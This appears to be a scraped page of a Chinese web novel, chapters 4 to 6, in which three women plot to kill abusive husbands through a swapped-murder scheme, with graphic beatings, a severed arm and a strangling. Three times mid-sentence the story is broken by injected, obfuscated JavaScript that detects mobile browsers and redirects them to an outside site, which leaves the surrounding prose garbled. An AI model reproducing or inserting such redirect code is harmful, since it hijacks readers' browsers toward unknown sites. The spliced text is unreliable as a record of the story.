赵春花瞪着一双肿似核桃的眼睛，嘴唇啜濡着，不知如何答。 她们炯炯的视线落在赵春花的唇上，将要缓缓轻启。 4. 第 4 章 赵春花的声音还带着浓重的鼻音和委屈，轻声说：“我爹娘只有我一个女儿，哥哥徭役入伍生死不明，我还不想死。” 林蕙眉头竖起，正要开口，被苏尔茗捏了捏指尖，止住她口中的责骂。 赵春花错开眼，仿佛没看到似得继续说：“家公去得早，婆母也需要我来孝敬，我虽然缝补挣得银子不多，如果吴大牛不去赌，家中并不会贫穷至此。” “所以，我不能死。”她抬起头，迎着二人期待的目光正视着，紧张地抿抿唇，“该死的人，只能是吴大牛。” 林蕙下意识扭头看向苏尔茗，眼中爆出惊喜的光芒，高声道：“太好了！” 她注意到苏尔茗看向帘外微微警惕的眼神，迅速捂着嘴，小声且快速地重复：“太好了太好了……” 苏尔茗低头看着说完这些话，眼泪流得像更加汹涌的赵春花，掏出帕子为她轻轻拭泪，暖意从二人相接的手中传递。 马车外，远处的飞鸟在高空中游曳到她们上方，清脆的啼鸣悦耳动人。 天空澄澈且广，日头洒下的金光拢着郊外的田庄，马车在田庄后门停住。 三人带着帷帽下了马车，沿着略微简陋木质的游廊，进入了一间卧房。 赵春花在迈进门时，便被这干净雅致的屋子所震惊，不自觉地半张着嘴，四处张望。 苏尔茗在门外简单交代了几句管事的刘妈妈，让她以后无事早上打扫一次便可，平时任何人不得靠近。 屏退刘妈妈，她进屋关上门，才让她们摘下帷帽，“春花，这是我以前来时常住的房间，还望你不要嫌弃，暂住一晚。” 赵春花受宠若惊，连连摆手：“我……我从没住过这么好的屋子，哪里敢嫌弃！” 她的眼神停留在那些装饰的名家挂画、昂贵瓷瓶，甚至细绢糊住的窗棂，屋内还有盛冰的铜盆，暗自咋舌。 她扭头看到林蕙也大为震惊的模样，立刻小跑过去拉着她的手，撒娇：“我和林蕙姐一起住好不好？” 苏尔茗静静地看着二人交握的手，语气难得严肃：“为了往后的日子，我们三人从今日起便要装作不识，今夜你们二人一同住在庄子上，不但不能同屋，还要避嫌。” 赵春花下意识松开手，手脚有些尴尬地不知道放哪里才好。 林蕙看了看二人，难得叹了口气。 “计划尚未完成，在这屋里，我们就是最好的姐妹。”苏尔茗轻轻提起裙摆在蒲垫上坐下，温柔地招手让她们过来，亲自斟了三杯茶，“坐吧，我心里已有了大致的计划。” “眼下最着急的便是解决吴大牛，他见过我们三人，还紧盯着春花不放，若是几日不归家，兴许官府便找上门来了。” 林蕙摩挲着掌心里的茶杯，有些不赞同：“她若是回去，可不一定再有命出来。” 苏尔茗从蒲垫上起身，缓缓走到屋中的角落，轻轻敲了敲某块地砖，掀起后取出一个檀木盒。 木色油润，雕花精致。 她将那木盒放在二人面前的矮几上，缓缓打开，单手推到了赵春花的面前，“这里是三千两银票，你拿着回去，吴大牛一定会饶你一命。” 赵春花身子半撑在矮几上，看看银票，又看看她的脸，半晌说不出话。 苏尔茗话锋一转：“但这钱只是一时之计，你需要将吴大牛的事情详细道来，合我们三人之力杀他，一定能天衣无缝。” 赵春花将吴大牛曾因心口痛，晕厥在赌场门口的事情说出。 话音刚落，林蕙凌厉的凤目一闪：“他可就医过？大夫说他有心疾？” “林蕙姐你怎么知道！”赵春花十分惊讶。 林蕙拿起茶杯仓促地吹吹，喝了一口，声音有些怀念：“我爹曾是一名郎中，我懂些药理，酿酒时也会加些药材。” “我记得爹曾说，有一味药材不可与烈酒同用……尤其是有心疾之人，切不可用药后饮酒。” “咚。” 茶杯被重重放在案几上，杯中已空。 满室静谧，只剩一旁泥炉上滚着开水的咕噜声。 苏尔茗慢慢品了口茶，细细思索。 半晌，沉着笃定的声音响起：“吴大牛若是因饮酒突发心疾死在赌场，便与春花毫无干系，正符合我们交换杀夫的计划。” “此事由林蕙去做，赌场那边我来买通人，去污蔑吴大牛抽老千。他死在黑市赌场，官府也睁一只眼闭一只眼。” 茶重新被斟满，三人手中杯轻轻相击，“当”的一声，敲定了计划。 日头偏西，暮色渐沉，一辆马车自郊外庄子踏上了回县城的路。 第二日天刚亮，另一辆简陋些的马车轻快地入了城门，下来一个带帷帽的女子，正是赵春花。 她从腰间瘪瘪的荷包中，小心翼翼摸着那最小的的一颗碎银，在车夫等得有些不耐烦眼神里，缓缓掏出来放在车板上。 “穿得人模人样，这么抠搜，连赏银都不给！”车夫不屑地嘁了一声，甩着马鞭大摇大摆地走了。 赵春花委屈地扁扁嘴，摸着怀里鼓鼓囊囊的银票，闻到街边的米糕香气，肚子里馋虫发出声尖叫“咕噜——” 她咽了咽口水，默念着：“今日奢侈一次，就当是给我庆祝生辰。” 她摘下有些糊脸的帷帽，踢踏着不合身的繁复华贵衣裙，迈着轻快地步子走过去：“老板，给我装一块米糕！” 老板笑眯眯地哎了声，劝道：“姑娘，两文钱一块，五文钱三块。” 赵春花一听五文钱，连忙摆摆手，指着那块色泽白皙、最为方正的那块，“就这个！” 包着油纸的热乎，稳稳地落在她掌心。那块米糕进嘴的时候，只是软糯米香的普通味道，却不及她心里满是蜜糖般的甜。 她小心翼翼地捧着，连回家的步伐都变得有几分轻松，晨起日光将小巷照得光影明灭，把她影子投在墙院上，头上梳着俏皮的飞天髻。 “赵春花，你他娘的还有脸回来？！” 吴大牛的声音从后方袭来，她只觉精心梳好的发髻被人一把擒住，头顶瞬间传来一阵火辣且熟悉的刺痛。 她被拽着头发，顺着那力道原地扭了半圈，手中的米糕不经意间被人夺走，她下意识去抢，“哎！” 那米糕被吴大牛一口塞进嘴里，随即“呸”地一下吐到地上，剩下的也被一起丢进泥土，滚到一旁的角落里粘满了灰。 “败家娘们！没钱给老子去发财，浪费老子的钱去买这些！” 吴大牛拖着她的发髻往自家院门大步走去，她矮瘦身体步子跟不上，几乎被半拖着走，她痛得大叫：“救命！” 此时正是巷子里邻里们正忙的时候，不少人家探出头来看，一看是他们夫妻二人，叹了口气。 吴大牛瞧见了，更是怒气冲天：“看什么看，打婆娘没看过？再看连你一起打！” 赵春花苦笑着看邻里们爱莫能助，消失在门口，心里的念头愈发坚定。 她踉跄着摸到了自家粗糙的木门，刚稳住身子借此挣脱吴大牛，便被人扯着衣衫甩到了院内，右臂狠狠地擦过地面，隔着夏衫都觉得一片火辣。 她痛得眼里蓄了泪。 吴大牛目光落在她身上掉出来的一个锦袋，那锦缎鎏光质地，一看便知价格不菲。 他立刻双眼冒光地捡起，下意识拍了拍上面不多的尘土，手往里探去——扯出几张银票，他拇指沾了些唾沫，缓缓地捻开，“一、二、三……三千两！” “赵春花，你昨夜去卖了身子？还是被哪个官老爷瞧上了，今日穿着跟那些富家小姐一样的长裙，怀里还藏着银票？” 他呲着那口黄牙，笑得牙不见眼，“早知道你能卖上这等价钱，我便亲自给你送过去。只是……这点钱，还远远不够。” 赵春花看着他令人作呕的笑意，挣扎着从地上爬起身，要去抢那银票：“你胡说八道什么！那是我同乡借给我开饭馆的银子！” 吴大牛像是听到了什么天大的笑话，一把将银票塞在怀里，忽然变了脸色，一掌扇在她脸上：“贱人！当老子我好骗的？” “你那几个穷光蛋似得亲戚，还有你那等死的爹娘，哪个有银子？” 他反手又是一掌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16362056|183729||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，盯着自己发红的手，诡异地笑了笑，“前几年我让你去借，你怎么不提这个有钱的同乡？” 说着，拳脚密集地落下，如疾风骤雨。她像一个任人捏扁搓圆的玩偶，无论如何躲、如何逃，那令人窒息的疼痛都阴魂不散。 一时间巷子里只剩下她呼救的惨叫。 终于，她受不住地松了口，“你放过我吧！那三千两都给你！” 吴大牛一口唾沫啐在她被撕扯得不成样子的外衫上，揉着手腕，双手肿胀得通红，“昨日我说过什么？她们能帮你几时？赵春花，你就是一条贱命，认了吧！” 他揪起来她的发髻，拍拍她肿胀不堪的脸，声音冷得刺骨：“三千两，饶你一次。要是不想死，明日，五千两。” 吴大牛将她往地上一掷，将那锦袋甩在她脸上，扬长而去。 赵春花眼前被凌乱的头发和血糊住视线，艰难地爬到门口，挣扎着起身关门，放下门栓，才敢长舒一口气，麻木地落了泪。 “林蕙姐，尔茗姐，救救我……” 晚些时候，林蕙穿着一身粗布的男装，赶着送酒的驴车，踩着县城关闭城门的时辰进了城，慢悠悠地往城南去。 黑市的赌场在日落时分才开门迎客，等她停了驴车将酒送进赌场的后门，正好瞧见吴大牛往前门去。 她挪了挪头上的布巾，散些碎发遮住眼睛，弯着腰、低眉顺眼的模样同吴大牛擦肩而过。 林蕙粗着嗓子和后门的守卫报备：“郊外无忧庄子，送酒。” 那守卫眯着眼看了看她，又看她身后驴车装得满当当的酒缸，谨慎地过去掀开了酒封闻了闻，才减了警惕：“瞧着你脸生。怎么，你们老刘头今儿病了？” “他今天腹痛，托我过来送一趟。”她闷声答。 那人挥挥手，放行。见她拉着驴车向往里进，厉声阻止道：“哎！不懂规矩！车，不能进，酒一坛坛往里搬。” 她连忙招呼身后的伙计一同照做，在驴车的酒坛即将清空时。赌坊前门传来消息，说是忽然来了个贵客。 黑市后门原本森严的守卫，抽走了一半的人去前院盯梢。 恰逢其他的货商也到了，十几家的木板车堵得水泄不通，一人一物送进去，严查携带利器。同赌场合作供应的皆是老店，仆从们自顾自地忙着见怪不怪，进进出出。 谁也没注意某家送酒的小厮，似乎少了一个。 落日的余晖淌在沈府的湖面，风一吹，荡起一阵阵金红的波光。 湖面铺着碧叶粉荷，西边一座小亭，苏尔茗手捧书卷，品着荷叶茶，闲适淡雅。 她目光自书卷中恋恋不舍地离开，看着那天边的晚霞，轻声问了句：“芸娘，现在什么时辰了？” “夫人，刚过酉正。” 她想了想，林蕙应该才进去一刻钟。 苏尔茗端起手边的茶杯，浅浅抿了一口，心中盘算着她事先联系过庄子上的人脉，专门有人做指认抽老千搅混水的生意。 那人说，只需要派人去南市的茶肆吩咐一句，“要半斤茶酥，不要盐，要素油”，便立刻会有人去盯，当日钱来路不正的“贵客”。 她撑着下巴看着近日时常开始发呆的芸娘，无声地笑了笑，出口打断：“芸娘。” “……夫人。”芸娘怔愣一下，才应声。 她眼里并未有责怪，揉着自己干瘪饥饿的肚子，像个小女孩一样撒娇道：“芸娘，我想吃南市门口的那家茶肆的茶酥。” 芸娘微微皱眉，温声提醒道：“夫人，等下老爷便要回来用膳……” 她伸出两根手指，扯着芸娘的衣袖晃了晃，颇为委屈：“我吃完饭喝茶的时候再吃，就要半斤，不要盐，要素油。” 芸娘被她磨得没办法，只得应声迈出湖边小亭。 走没两步，迎面遇到了回府用膳的沈万金。 苏尔茗心头一揪。 芸娘福了福身，不知和沈万金说了些什么，他立刻拧眉迈进了小亭，声音极为不悦，命令道：“马上用膳，吃什么茶酥？” “芸娘，不准去，立刻布膳！” 5. 第 5 章 沈万金向来说一不二。 苏尔茗在他警告的目光里缓缓站起身，衣袖下紧握的拳头渐渐生了汗，她破天荒开口道：“芸娘，你等等。” 芸娘的步子慢了下来，但没有停。 沈万金阴沉的目光里带了几分怒意。 “夫君，妹妹上次走得匆忙，忘记带他们家的糕点。”她在沈万金还未开口前，拉着他的衣袖到石凳上坐下，抬袖为他斟了一杯茶，捧到眼前。 “上次你说的事，我考虑了许久。本想借着送糕点的机会，明日连着一封家书寄回，劝劝爹娘。” 那杯茶冒着淡淡的白烟，模糊了沈万金的眉目，她只看见自己被热度烫红的指尖，不及内心痛苦的万分。 半晌，茶被那带着玉扳指的手接过。 他浅浅抿了一口便被放在石桌上，脸色翻书一般好转，语气温柔：“芸娘，夫人让你去，你便去吧。” 苏尔茗胃里泛起一阵恶心，面上却笑意盈盈，语气宠辱不惊：“……多谢夫君。” 芸娘在不远处听见吩咐，顿时调了方向，往门口疾步而去。 入夜时分，街上灯火初明，天边最后的余晖交映，照亮了南市门口的那家茶肆。 一身锦缎衣裙、年芳二十有余的姑娘，迈入茶肆直奔里间柜台，正是芸娘。 “老板，半斤茶酥，不要盐，要素油。” 及胸高的木质柜台后，那布巾包头的小厮立刻正了神色，上下打量一番，清了清嗓子谨慎回道：“这位娘子，别的东西还要吗？” 芸娘冷着脸摇摇头，只想快些提回去，晚些时候还要给伺候夫人沐浴。 小厮眼中露出了然的神色，装模作样地在算盘上随意打了两下，高深莫测地答：“二两银子，您稍等，立刻打包给您。” 芸娘麻利地掏了银子，只见那小厮消失在后院的布帘后。 很快，另一个小厮提了一个油纸包从灶房出来，递给了她。 “您拿好，事我已办妥。” 芸娘有些不解地微微皱眉，掂量了下有些分量的油纸包，没有多想，便转身离去。 后院，方才在柜台里接待芸娘的小厮，已经换了身青色衣裳，从茶肆后门出去，直奔黑市赌坊。 华灯初上，隐在暗处的黑市赌坊，门口一左一右插着两支融得过半的红烛，门后只有一条漆黑不见底的台阶，浸着水汽生了些青苔。 那名小厮从怀里掏出来一个令牌，从门口守卫里接过一盏烛火，沿着台阶缓缓向下。 越往下，金光刺眼、人声鼎沸在同时一拥而上，骤然回响在只能由一人通过的狭长甬道里。 小厮步伐轻快，迅速找到了看似零散分布的守卫、实则紧盯不舍。那一桌上，一个身着粗布破衣，却出手阔绰的男人——吴大牛。 赌坊后院。 两刻钟前，林蕙藏在摆满酒坛的阴暗角落，看着赌坊的后门缓缓关闭，只留一线窄光。 赌坊的后院很大，同寻常院子一般，人手众多且四处挂有灯笼，稍有鬼祟动作便纤毫毕现。今日不知是何缘故，酒坛摆得很满，一直码到屋外，刚好形成一个可以藏人的角落。 林蕙半蹲在那里，静静地听着不远处的动静。 “今日怎么进了这么多酒？” “你没听说，上次黄三来喝了十坛酒，赢了足足二十锭金！近日来得客人们，人人都两坛起点，图个好彩头！” “啧，就是辛苦了你我这些杂役，还得跑上跑下的送酒。” 二人声音逐渐靠近堆放酒坛的屋子，摇晃的光线也将林蕙藏身之处渐渐缩小，逐渐远去。 林蕙极力将自己高大的身影掖进暗影中，将衣角攥在手里，生怕露馅。她缓缓挪动的时候，手肘不小心磕到了酒坛，发出一声闷响。 “谁在那？！” 该死！她摸上了腰间的匕首，弓着身子蓄势待发。 脚步声急促向她而来，眼看灯笼的光线就要将那角落照得一览无余！ 她若是先灭掉那盏烛火，便可趁乱一击命中一人，或许可以在不受要害伤的情况，连杀二人…… “你们俩做什么呢！还不快过来帮忙！” 一声喝止，让那光线停在距离她一步之遥的地方。 其中一人解释道：“我方才听到有动静……” “哪天这后院没老鼠，那才是奇事！别磨蹭，今日有贵客，赶紧过来！” 光线渐渐远去，林蕙松了一口气，发现自己后背的衣裳几乎被汗浸透。 她继续等待时机，打晕了一名来搬酒的仆役，将人拖到角落，忍着恶臭换上了他的衣裤，泼上酒装作他醉酒模样。 她端起酒壶，顺着向下的连廊往赌坊堂内去。 不同于黑市赌坊门外的昏暗，这里金玉为柱，白璧为砖，入目之处皆是奢靡。入目的金光在最初震惊过后，便如同废砖破瓦。 她来此，只有一个目的——杀人。 一道尖锐的声音忽然在她紧盯的那处响起，音调高得惊人，却字字清晰：“吴大牛，你抽老千！” 其他赌桌的人仿佛瞬间静止，在话音落下的刹那，哄笑声盈满了堂内。 “我就说吴大牛哪来的这么多钱，原来是打肿脸充胖子，想来这做白日梦！” “楚爷不是说了，抽老千就要留下一只手，吴大牛上次不是刚被砍了小指，叫的像婆娘生崽，真丢爷们的脸！” “哈哈哈——” 林蕙看到一拥而上讥讽的人群，便知时机已到，端起身边盛着特质酒液的酒壶，垂着头，往那人群中心挤去。 吴大牛涨红了脸，短粗的脖子青筋狰狞，指着那青色衣裳的人，破口大骂：“放他娘的屁！老子何时抽老千，你莫不是故意找茬？” 林蕙眼神一动，暗自瞥了那青衣男子一眼，平平无奇的面容，脸上甚至连一颗痣都没有，过目即忘。 这边的动静很快引来了赌场的护卫，几名仆役端着吃食和酒水挤进人群，张罗着让各位消消气。 她一脚跟上插在几人之中，将自己手中的那壶药酒放在了吴大牛眼前。 身旁另一名仆役也放了一壶酒，她正想要拿走，两壶酒被吴大牛一同扫落在地，瞬间飘起酒香：“滚！别想拿这点东西收买老子！” 林蕙几乎目眦尽裂，盯着那洒落一地的酒液发愣。 她……失手了…… 另一个仆役见她傻站着不走，扯着她蹲下一同打扫碎片，小声警告，“新来的？这是你能凑的热闹吗？” 林蕙机械地捡起碎瓷，指尖一痛，顷刻淌出一道鲜红的痕迹。 她留神听着那青衣男子同吴大牛继续对峙，甚至站出来两名看客，证明吴大牛确实抽老千。 吴大牛忽然暴起，一拳挥向那青衣男子。 男子双手抱胸闪身一躲，诡异地笑了笑，躲在人群中讥讽：“吴大牛，这可是黑市赌坊，楚爷的地盘。你敢放肆，我可不敢。” 吴大牛气得双眼通红，呼哧呼哧喘着粗气，抄起手边的椅子就扔了过去。 人群四散而逃。 他嘴里还在骂骂咧咧地喷粪，还未转身，便被赌坊内的守卫一脚踢翻在地。 “你他娘的瞎了眼？老子今日是你们的贵客！是他污蔑我！”他犹自挣扎。 守卫健壮的手臂宛如铁链一般，将吴大牛死死捆在地上，膝盖顶着他的背，声音十分冷漠：“抽老千，原本只有一只手。现在，由不得你。” 三五个护卫倾身而上，一时间堂内竟只有拳拳到肉的声响，以及吴大牛逐渐有进气儿没出气的痛呼。 “你们……要钱？那三千两我不要了……饶我一命……” 守卫头领掏出腰间的利刃，手起刀落。 一条手臂被整齐地切了下来，掷在赌台上，手指还带着最后的挣扎。 残肢甩出的血，溅在了她的脸颊，带着铁锈的腥气。 “啊——”吴大牛嘶哑且走了调的尖叫，杀掉了满堂的杂音，几乎要叫破林蕙的耳膜。 守卫头领皱了眉头，“楚爷不喜欢有人吵闹。” 下一刻，吴大牛捏起下颚灌满了酒液，呛的说不出话。 守卫头领的声音响起，毫无波澜，像是捏死了一只苍蝇：“坏了规矩，皆此下场。今日见了血，想必各位今晚会玩得尽兴。” “来人，把他扔到后巷。”他利落地挥挥手，听急匆匆赶来的仆役耳语几句，一声令下，“楚爷有令，今晚每桌送美酒一坛，给各位压压惊！” 看客们瞬间沸腾，眼中带着见血后的疯狂，各自回去抄起了筹码。 这边，仆役们一拥而上，利落地处理血迹和凌乱的赌桌。余光里，那挑事的青衣男子早就没了踪影。 林蕙混在清扫的仆役中，悄悄顺着连廊摸去了后巷。 后巷此刻一丝光线也无，被不远处的楼宇遮了月色，只剩下略有泥泞的地面还泛着最后的亮。 她踏着水声靠近，一言不发。 吴大牛右臂被切断的伤口此刻泡在泥水里，痛得他蜷缩在一处，忽而听到脚步声，他惊慌地求助：“求求你，救救我，我给你钱……只要你能带我去看大夫，我什么都答应你！” 那人高大却单薄，巷子太暗，他根本看不清那人的容颜。 他腰间一松，暗自有些欣喜，莫不是将他绑在背上带去医馆？ “对对对，你背着我，这样……嗬……你……” 那细长的腰带将他口中未尽的话扼死，逐渐收拢，布帛间发出摩擦的细微动静。 他感觉全身的血在一瞬间涌入头顶，眼球几乎要胀裂出眼眶，分不清是巷子里的暗还是窒息让他眼前一片黑暗。 他双脚拼了命地蹬地，左臂用尽力气卡入腰带间向外扯，妄图争取一丝生机。 “你……是谁……” 对方见他还能发声，双臂猛地一用力。 “嗬……” 酒劲上涌让他渐渐失去扭动的力气，脖颈处传来几乎断裂的疼痛，舌头不自觉地向外吊着。 脚下挣扎的动作失了序，渐渐缓下来。 再无半分声息。 月色被乌云半掩着，朦胧的月光照不亮小巷的暗面，黑如墨。 火把的噼啪作响，惊了那巷子里的暗，将它们烧个精光，照亮了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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沈万金近日常宿在箐箐姨娘院里，难得同她一起用了早膳，夸了小厨房的鸡肉粥。 他临走前，在桌上放了一锭金子，笑着吩咐她：“你今日出去采买些晴儿喜欢的东西，临湖的院子我已经让人腾了出来，你按照她的喜好去置办。” 苏尔茗握着那杯清口的热茶，垂着眼，缓缓地嗯了声，沈万金的身影却早已走远了。 她沉默地看着那锭金子，唇角讽刺地一勾，拿起净嘴的帕子盖了上去，起身回房里更衣。 半个时辰后，一辆马车自沈家往城西而去。 马车外，金玉铃铛欢快作响。 帘内，苏尔茗沉着脸，手里的帕子被她搅得不成样子。 路过县衙布告栏时，透过车帘忽然传来一声惊叹。 “哎呀，昨日夜里竟然发生了仇杀案！这才不到一宿就抓到了犯人，证据确凿！” “我听人说，死得是那西街巷子的老赌徒吴大牛，被那讨债的犯人给勒死了！赌狗，真是死有余辜！” “不愧是张知县，真乃恩自县的父母官！明察秋毫！” 苏尔茗手中的帕子一松，落在了脚边，她颓然靠在车壁上，放下了悬着一夜的心。 车轮滚滚向前，围观众人对知县的夸赞声渐渐远去。 不多时，马车的速度逐渐慢了下来，越靠近西市，人流越多，就越难行进。 苏尔茗掀开马车小窗的帘子，看见那条熟悉的小巷，吩咐车夫：“何老，前面巷子里停一下吧，人太多，不往深处去了。” “哎好，夫人。”车夫应声。 马车停在巷子入口的阴凉处，她想要支开车夫，便道：“何老，西市尾街有一家卖胡饼的人家，你替我买两个。” 她将自己的荷包递过去，何老应声后很快接走。 马车一轻，年迈的脚步声渐渐远去。 巷子里隐隐约约传来哭声，越往深处，空中便出现了白色的纸钱，被风卷起，飘忽着落下。 那片纸钱，被一双锦缎鸳鸯的绣鞋踩在脚下，狠狠碾进土里，碎成几瓣。 苏尔茗戴着帷帽，远远望着一身素白，脸上伤痕累累、双眼哭得肿似核桃的赵春花，鼻子一酸，眼里渐渐腾起了泪。 她在无人发现的角落悄悄拭泪，轻声道：“春花，你解脱了。” 一旁似乎有破空之声，她脚步一转便往马车走去，警觉地竖耳听着。 她走到马车跟前，小巷安静如初，未有任何异样，空无一人。 又静待了许久，才放心地摘下帷帽，踏上乘车的踏板，车帘却忽然由内而外被掀开—— 口中的惊呼还未发出，便被一双温热粗粝的手死死扼在口中。 还未看清是谁，一股力道将她拉入轿厢，身影瞬间消失在帘后。 苏尔茗看不见来人，惊慌的视线里，只有恢复平静的轿帘。 好似她不曾离开过。 6. 第 6 章 轿帘落下后的车厢内，仿佛一个密闭而狭小的暗室。 苏尔茗温热的呼吸喷在比她更炽热的掌心里，陌生的男子体温和淡淡香气让她如坠冰窟。 她若是死了，就再也没有人能阻拦沈万金娶苏晴入府！ 她双手被擒住，腿被死死地挤在车壁和男子的膝间动弹不得，她唯一自救的方法只有钱。 “钱，你要多少……我都……”声若蚊蚋。 “嘘。”男子将她转过身，示意她不要多言。 她这才看清“刺客”的模样，一身鸦青蝙蝠纹锦袍，头束玉冠，比沈万金容色更为俊逸，却自有一股刚正之气，与他此刻的行事有很大的差异。 男子眼中盈满了愧疚，她却将心提到了嗓子眼。 有钱，便难以用金钱打动他。 若是图色……她忽然有些后悔，没有带护卫和芸娘出门。 她越发警惕的眼神让男子暗暗心惊，他听着帘外刺客踏着瓦片飞檐走壁的脚步声，不得不冒险低声解释：“夫人，我无意得罪，实为求救。” 他从上京城到平远县，解决那极为棘手的连环杀人案。这才刚刚离开平远县，路过恩自县落脚，便有人在这候着要杀他灭口。 看那佩刀的精良程度和死士的等级，应当是京城的权贵。只要他连夜入京，在圣上眼皮子底下，他们便不敢轻易妄动。 眼下，他需借马车出城。 苏尔茗听着他刻意压低声音的解释，忽然想起她方才在小巷听到的破空之声，她露出了然的神色，摇头示意自己不会再开口说话。 男子见她不再奋力挣扎，缓缓松开了桎梏她的双臂。 她轻轻揉着有些发红的手腕，指了指外面，男子板着脸点点头，随即目光落在了她手腕上。 虽有一道抓握的红痕，已消退过半，但那手腕间隐约透出的陈旧伤痕，和她身上华贵的衣着并不相符。 身为大理寺少卿，他下意识便想探究其原因，却见女子惊慌地用衣襟将伤口遮住，掩在衣袖之下。 他听着外面的动静渐渐远去，正要开口问她是否需要帮助，只听外面一道年迈的声音响起。 “夫人，您的油饼已经买好了。”是何老。 苏尔茗起身想要掀开帘子，将这来历不明的人彻底暴露，却在手碰到帘子的那一刹那，被不知什么东西击中了手腕，背后一寒。 男子用只有他们二人听到的声音，说道：“夫人，我并非恶人。我乃……” “何老，给我吧，我现在吃。”苏尔茗的声音掩盖住了男子的身份，探出一只手臂，接过了油饼。 她不想知道为何有人穿着京中的贡品锦缎，出现在恩自县被人追杀，她也不想掺和到这件危险的事情之中。她只是一个普通人，想要保护她的家人和姐妹。 苏尔茗将手里的油饼递过去一个，十分冷漠地说道：“吃完了就走，我当做今日没见过你。” 她将何老递回来的荷包敞开，将那些银子都倒在男子的怀里，随后将荷包谨慎地放在了袖袋的深处。 男子静静地苦笑着，听她吩咐车夫：“何老，去南市吧。” 他只得顺从地收起银两，坐到离她最远的角落，默默吃了一口酥脆的油饼，心道：真是一个警惕的女子。 苏尔茗见到男子十分规矩地同她拉开距离，才松开了一直紧皱的眉头。 她看着男子坐着腰背都挺拔如松，斯文地吃完油饼，那油纸被他折好放进帕子里，塞回衣襟。 一举一动间皆是良好的教养，非一日能成。 半晌，在马车滚滚向前的声音掩盖中，她软了声音，决定好人做到底：“南市往来商人较多，人流纷杂。此处可买马乘车、打尖住店，你若要出城，南门守卫最松。” 男子清冷的眼神望过来，染了一层暖意，淡声道：“多谢。” 一进南市，男子的身影轻飘如燕，在轿帘的一开一合间，消失在人群中。 何老感觉马车一轻，颇有些迟钝地问了声：“夫人，您刚才可是觉得哪里不妥？” “不曾。”车厢内传来的声音十分平静。 苏尔茗暗自抹了把汗，想起方才男子临走前问过的那句：“巷子里的那位遗孀，你可认识？我瞧你过去，还以为你会停留片刻。” 她心里猛地一揪，衣袖下的手死死掐住大腿，才能在他无所遁形的目光里，坦然地撒谎，“不认识，我只是听见哭声，有些好奇罢了。” 男子定定地看了她一眼，才离开。 想到这，苏尔茗掀起帘子想要透透气，眼神却聚焦到了一个有些眼熟的身影。 一闪而过。 月上梢头，入秋后夜间暑气渐消，风里带起一丝凉意，吹黄了枝头的叶。 卧房正对着秋月的窗子大开，苏尔茗沐浴后穿着中衣，坐在临窗的榻上，静静地等着芸娘为她用小炉烘干长发。 因她松口答应苏晴入府，沈万金对她的管束松懈了许多，她自南市回来，便托芸娘派人出去打探了些消息，此刻那信正捏在她手里。 关于她下午见到的身影——林蕙的夫君，王虎。 王虎自林蕙消失后，曾到官府报案，但生不见人、死不见尸，此事便被官府定为夫妻间家务事，许是一赌气回了娘家也说不定。 林蕙这一走，到如今还不到一个月，酒馆便被变卖了。 可眼前信里的证据，写了林蕙的丈夫王虎，在他们二人婚后的第二年，便找了一个相好，名为杜鹃。 苏尔茗看完信，重重地叹了一口气，不自觉地问出声：“这世间，女子不过是男子的玩物。可生子，亦可撒气，更可顶罪，借夫妻名义，行杀人之恶……” “当啷！” 芸娘手中的手炉忽然落地，惊扰了她的思绪。 “……夫人，我这边去换新的手炉。” 她望着芸娘匆匆而去的步伐，陷入了深思。 …… 三日后，郊外庄子上。 一辆马车缓缓驶入庄子后门，下来一个带着帷帽的女子。后院内早已过了洒扫的时间，此刻空无一人。 苏尔茗沿着陈旧的木质连廊不急不缓地往前走，当她推开卧房门的时候，不远处的蒲垫上已经端坐着喝茶的二人，正是林蕙和赵春花。 赵春花脸上的伤口，涂了她先前给的药膏已经恢复了大半，如今只剩下还肿着的双眼，笑起来眼睛只剩下一条窄窄的缝，左边眉头的小痣都带着几分喜气。 她方一入座，赵春花便主动斟了杯茶推过来，声音甜甜地道谢：“尔茗姐，这杯茶我要谢谢你！我昨晚一夜无梦到天亮，自从出嫁后，很久没有过这般轻松了！” 林蕙嘴角有些僵硬，笑得有点勉强，借着喝茶的动作避开了她的目光。 苏尔茗装作毫无察觉，撇开了眼，接过那杯茶，吹了吹缓缓喝下一口，才道：“接下来，你要去开个小饭馆？我那天瞧见你在西市租了个小铺子。” “真是什么都瞒不过姐姐的眼睛！等我挣了银子，就把那三千两还给姐姐！”赵春花的性子像是破土而出的幼苗，在得以喘息后，呈现出真实的模样。 林蕙听到她那句“瞒不过她的眼睛”，眼神一暗。 在满堂欢声里，她的沉默格外显眼。 “林蕙姐，你怎么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“林蕙，我派人查探了王虎与那女子。那女子名为杜鹃，是个孤女，似乎三年前便与王虎相识，独自住在城北的小院，她身无长物，全靠王虎养活……” “……你不必说了，我都知道了。”林蕙握紧茶杯的手用力到指节发白，原本高大的身躯此刻缩在矮几上，仿若一碰就碎，“王虎，在我们成亲第二年，在河里救了她。她说，她当王虎为哥哥，还亲昵地喊我嫂子。” 她将手中的茶似酒一般一饮而尽，滚烫的热度将她脸熏得泛红，眼里爬上了不甘的血丝。 “她那时，时常来我家中讨食。而后，她称自己遇到了意中人即将远嫁，我还替她高兴，托人打了只金簪送她。” “可笑的人原来竟是我……” 